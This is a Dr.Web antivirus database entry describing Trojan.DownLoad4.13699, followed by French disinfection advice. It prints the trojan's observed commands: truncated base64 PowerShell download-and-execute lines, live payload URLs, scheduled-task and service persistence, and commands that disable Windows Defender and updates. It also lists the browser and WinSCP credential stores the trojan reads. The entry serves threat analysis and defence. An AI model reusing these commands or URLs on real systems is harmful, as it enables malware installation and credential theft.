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Trojan.DownLoad4.13699
Added to the Dr.Web virus database:
2020-03-10
Virus description added:
2020-03-11
Technical Information
To ensure autorun and distribution
Creates or modifies the following files
<SYSTEM32>\tasks\microsoft\windows\shell\updshell
<SYSTEM32>\tasks\microsoft\windows\autochk\systemproxy
<SYSTEM32>\tasks\microsoft\windows\mobilepc\detectpc
<SYSTEM32>\tasks\googlechromeupdatetask
<SYSTEM32>\tasks\update shell
%HOMEPATH%\start menu\programs\startup\updip.lnk
Creates the following services
[<HKLM>\System\CurrentControlSet\Services\WinDefends] 'ImagePath' = 'cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBD...
[<HKLM>\System\CurrentControlSet\Services\thundersec] 'ImagePath' = 'cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBD...
[<HKLM>\System\CurrentControlSet\Services\WindowsNetworkSVC] 'ImagePath' = 'cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAG...
[<HKLM>\System\CurrentControlSet\Services\t1t2t3] 'ImagePath' = 'cmd /c powershell -w 1 -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAG...
Malicious functions
To bypass firewall, removes or modifies the following registry keys
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
Downloads
https://gist.githubusercontent.com/mysslacc/a5b184d9d002bf04007c4bbd2a53eeea/raw/c6f8b4c36e48425507271962855f3e2ac695f99f/baseba
https://raw.githubusercontent.com/mysslacc/thd/master/base
Injects code into
the following system processes:
%WINDIR%\syswow64\notepad.exe
Terminates or attempts to terminate
the following system processes:
<SYSTEM32>\cmd.exe
%WINDIR%\syswow64\explorer.exe
Searches for registry branches where third party applications store passwords
[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
[<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions\]
Reads files which store third party applications passwords
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\web data
%HOMEPATH%\desktop\alert.html
%HOMEPATH%\desktop\api-hashmap.html
%HOMEPATH%\desktop\file_p_00000000_1371597592.docx
%HOMEPATH%\desktop\holycrosschurchinstructions.docx
%HOMEPATH%\desktop\issi2013_template_for_posters.docx
%HOMEPATH%\desktop\ituneshelpunavailable.html
%HOMEPATH%\desktop\trivial-merge.html
Network activity
TCP
HTTP POST requests
http://me###arka.xyz/ynvs2/index.php
'gi##.###hubusercontent.com':443
'gi##ab.com':443
UDP
DNS ASK gi##.###hubusercontent.com
DNS ASK google.com
DNS ASK ra#.####ubusercontent.com
DNS ASK me###arka.xyz
DNS ASK gi##ab.com
Miscellaneous
Creates and executes the following
'%TEMP%\clp.exe'
'%PROGRAMDATA%\updip\updip.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAYwBtAGQAIAAvAGMAIAByAGUAZwAgAGEAZA...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc start thundersec' (with hidden window)
'%TEMP%\clp.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 5 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path H...' (with hidden window)
'<SYSTEM32>\sc.exe' create t1t2t3 binpath= "cmd /c powershell -w 1 -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACA...' (with hidden window)
'<SYSTEM32>\sc.exe' start t1t2t3' (with hidden window)
'<SYSTEM32>\sc.exe' delete t1t2t3' (with hidden window)
Executes the following
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -ec JABjAG8AbQAgAD0AIAAiAFUAdwBCAGwAQQBIAFEAQQBMAFEAQgBOAEEASABBAEEAVQBBAEIAeQBBAEcAVQBBAFoAZwBCAGwAQQBIAEkAQQBaAFEAQgB1AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAQQBCAHAAQQBIAE0AQQB...
'%WINDIR%\syswow64\schtasks.exe' /create /tn \Microsoft\Windows\MobilePC\DetectPC /tr "cmd /c sc start WindowsNetworkSVC" /sc hourly /mo 1 /RL HIGHEST /RU "NT AUTHORITY\SYSTEM" /f
'<SYSTEM32>\cmd.exe' /c sc start thundersec
'<SYSTEM32>\sc.exe' start thundersec
'<SYSTEM32>\cmd.exe' /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwA...
'%WINDIR%\syswow64\cmd.exe' /c cmd /c schtasks /f /create /tn "GoogleChromeUpdateTask" /sc hourly /mo 3 /tr "cmd /c %PROGRAMDATA%\updip\updip.exe"
'%WINDIR%\syswow64\cmd.exe' /c schtasks /f /create /tn "GoogleChromeUpdateTask" /sc hourly /mo 3 /tr "cmd /c %PROGRAMDATA%\updip\updip.exe"
'%WINDIR%\syswow64\schtasks.exe' /f /create /tn "GoogleChromeUpdateTask" /sc hourly /mo 3 /tr "cmd /c %PROGRAMDATA%\updip\updip.exe"
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 5 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path H...
'%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\updshell /sc hourly /f /mo 8 /tr "cmd /c sc start WinDefends" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
'%WINDIR%\syswow64\schtasks.exe' /create /f /tn "Update Shell" /sc hourly /mo 5 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path HKCU:\Softwar...
'%WINDIR%\syswow64\cmd.exe' /c powershell -w 1 -exec bypass -e JABvAGIAagBTAGgAZQBsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIAAoACIAVwBTAGMAcgBpAHAAdAAuAFMAaABlAGwAbAAiACkADQAKACQAbwBiAGoAUwBoAG...
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -e JABvAGIAagBTAGgAZQBsAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIAAoACIAVwBTAGMAcgBpAHAAdAAuAFMAaABlAGwAbAAiACkADQAKACQAbwBiAGoAUwBoAG8AcgB0AEMAdQB0...
'%WINDIR%\syswow64\cmd.exe' /c timeout /t 4 && "%PROGRAMDATA%\updip\updip.exe"
'%WINDIR%\syswow64\timeout.exe' /t 4
'%WINDIR%\syswow64\notepad.exe'
'<SYSTEM32>\sc.exe' create t1t2t3 binpath= "cmd /c powershell -w 1 -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACA...
'<SYSTEM32>\sc.exe' start t1t2t3
'<SYSTEM32>\cmd.exe' /c powershell -w 1 -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACAALQBRAHUAaQBlAHQAfQAgAHUAbgB...
'%WINDIR%\syswow64\sc.exe' create WindowsNetworkSVC binpath= "cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /tn \Microsoft\Windows\MobilePC\DetectPC /tr "cmd /c sc start WindowsNetworkSVC" /sc hourly /mo 1 /RL HIGHEST /RU "NT AUTHORITY\SYSTEM" /f
'%WINDIR%\syswow64\cmd.exe' /c sc create WindowsNetworkSVC binpath= "cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAb...
'%WINDIR%\syswow64\sc.exe' delete WindowsNetworkSVC
'%WINDIR%\syswow64\cmd.exe' /c sc delete WindowsNetworkSVC
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c sc stop wuauserv
'%WINDIR%\syswow64\sc.exe' stop wuauserv
'%WINDIR%\syswow64\cmd.exe' /c sc config wuauserv start= disabled
'%WINDIR%\syswow64\sc.exe' config wuauserv start= disabled
'%WINDIR%\syswow64\cmd.exe' /c sc delete WinDefends
'%WINDIR%\syswow64\sc.exe' delete WinDefends
'%WINDIR%\syswow64\cmd.exe' /c sc create WinDefends binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACAALQBRAHUAaQBlAHQAfQAgAHUAbgB0AGkAbAAgACgAJ...
'%WINDIR%\syswow64\cmd.exe' /c mklink "%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\StartUp\updip" %PROGRAMDATA%\updip\updip.exe
'%WINDIR%\syswow64\sc.exe' create WinDefends binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkA...
'%WINDIR%\syswow64\cmd.exe' /c sc delete thundersec
'%WINDIR%\syswow64\sc.exe' delete thundersec
'%WINDIR%\syswow64\cmd.exe' /c sc create thundersec binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
'%WINDIR%\syswow64\sc.exe' create thundersec binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkA...
'%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Autochk\SystemProxy /sc hourly /f /mo 1 /tr "cmd /c sc start thundersec" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
'%WINDIR%\syswow64\schtasks.exe' /create /tn \Microsoft\Windows\Autochk\SystemProxy /sc hourly /f /mo 1 /tr "cmd /c sc start thundersec" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
'%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /tn \Microsoft\Windows\Autochk\SystemProxy /run
'%WINDIR%\syswow64\schtasks.exe' /tn \Microsoft\Windows\Autochk\SystemProxy /run
'%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\schtasks.exe' /create /tn \Microsoft\Windows\Shell\updshell /sc hourly /f /mo 8 /tr "cmd /c sc start WinDefends" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
'<SYSTEM32>\sc.exe' delete t1t2t3
Recommandations pour le traitement
Windows
macOS
Linux
Android
Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space .
Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android . Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
Débranchez votre appareil et rebranchez-le.
En savoir plus sur Dr.Web pour Android
Téléchargez Dr.Web pour Android
Gratuit pour 3 mois
Tous les composants de protection
Renouvellement de la démo via AppGallery/Google Pay
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